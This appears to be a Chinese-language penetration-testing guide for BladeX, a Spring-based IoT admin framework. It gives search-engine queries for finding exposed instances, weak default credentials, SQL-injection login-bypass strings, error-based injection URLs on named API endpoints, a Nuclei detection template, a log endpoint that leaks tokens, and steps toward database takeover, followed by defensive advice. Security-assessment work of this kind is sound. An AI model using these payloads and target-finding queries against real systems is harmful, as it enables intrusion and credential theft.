针对spring二次开发的BladeX站点的渗透测试
字数 1056 2025-08-22 12:22:15
Spring-BladeX框架渗透测试技术指南
1. 框架概述
BladeX是一款基于Spring二次开发的物联网平台框架,主要功能包括:
- 设备管理与数据采集
- 实时监控与数据分析
- 开放API服务
- 支持MQTT与AMQP协议
典型特征:
- 前端使用Vue框架
- Webpack打包
- 后台管理系统具有独特的icon图标(小铁剑)
- 常见于物联网相关应用
2. 信息收集方法
2.1 资产识别
图标识别法:
- 使用空间搜索引擎(FOFA/鹰图/360Quake)搜索:
icon_hash = "1047841028" && product = "后台管理系统"
关键字识别法:
- 搜索特征字符串:
body = "https://bladex.vip" && product = "后台管理系统" body = "https://bladex.vip" && body = "后台管理系统"
2.2 技术栈识别
使用Wappalyzer插件识别:
- Vue框架
- Webpack打包
- 可能存在js.map文件泄露漏洞
3. 渗透测试技术
3.1 认证绕过技术
弱口令爆破:
- 常见弱口令组合:
- admin/123456
- admin/admin
- test1/test1
- 验证码不刷新时可进行爆破攻击
SQL注入万能密码:
admin' or 1=1 --
admin' or '1'='1
admin" or 1=1 --
admin' or ' '='
admin' OR '1'='1%00
admin' and '1'='1'#
3.2 垂直越权漏洞
敏感信息泄露:
- 通过修改接口参数获取高权限信息
- 典型接口特征:
- 包含user参数
- 带有page/size/number等分页参数
- 攻击方法:删除多余参数,拼接list参数直接访问
3.3 日志信息泄露
敏感接口:
/api/blade-log/api/list
- 可能泄露管理员token(JWT硬编码)
- 可能泄露管理员账户密码
3.4 SQL注入漏洞
经典注入点:
/api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
魔改后注入点:
/api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
Nuclei检测脚本:
id: template-id
info:
name: BladeX SQL Injection
author: xxxx
severity: high
description: BladeX SQL Injection Detection
http:
- raw:
- |
GET /api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept: */*
matchers:
- type: word
part: body
words:
- 'XPATH syntax error:'
3.5 数据库接管
攻击路径:
- 获取管理员凭证
- 登录后台管理系统
- 查找数据库管理功能
- 获取数据库连接信息(IP/账户/密码)
- 使用Navicat等工具直接连接
4. 防御建议
-
认证安全:
- 强制使用复杂密码
- 实现验证码刷新机制
- 限制登录尝试次数
-
接口安全:
- 严格权限控制所有API接口
- 禁用或保护调试接口
- 实施参数过滤和预编译语句
-
日志安全:
- 限制日志访问权限
- 对日志中的敏感信息进行脱敏
-
数据库安全:
- 避免在界面中明文存储数据库凭证
- 实施最小权限原则
- 限制数据库远程访问
-
其他措施:
- 定期安全审计
- 及时更新框架补丁
- 关闭不必要的功能模块
5. 总结
BladeX框架渗透测试的关键点包括:
- 通过特征图标和关键字快速识别目标
- 尝试弱口令爆破和SQL注入绕过认证
- 查找接口未授权访问和越权漏洞
- 利用日志泄露获取敏感信息
- 通过魔改后的注入点进行SQL注入
- 利用后台功能接管数据库
本指南提供了从信息收集到深入渗透的完整方法论,安全研究人员可根据此框架进行安全评估,管理员可参考防御建议加固系统。